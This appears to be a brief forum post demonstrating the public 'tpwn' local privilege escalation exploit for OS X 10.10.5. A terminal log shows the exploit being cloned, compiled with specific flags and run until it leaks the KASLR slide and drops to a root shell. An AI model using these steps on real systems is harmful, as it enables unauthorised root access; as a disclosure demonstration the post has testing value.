OS X 10.10.5 kernel local privilege escalation
$ git clone https://github.com/kpwn/tpwn.gitCloning into 'tpwn'...remote: Counting objects: 16, done.remote: Compressing objects: 100% (11/11), done.remote: Total 16 (delta 3), reused 16 (delta 3), pack-reused 0Unpacking objects: 100% (16/16), done.Checking connectivity... done.$ cd tpwn$ makegcc *.m -o tpwn -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3strip tpwn$ ./tpwnleaked kaslr slide, @ 0x0000000008e00000sh-3.2# whoamirootsh-3.2#Shit's real.Edit: for those of you wondering, no, I didn't just run this willy-nilly.  I read the code thoroughly and determined there were no side-effects aside from just the PoC dropping to a root shell.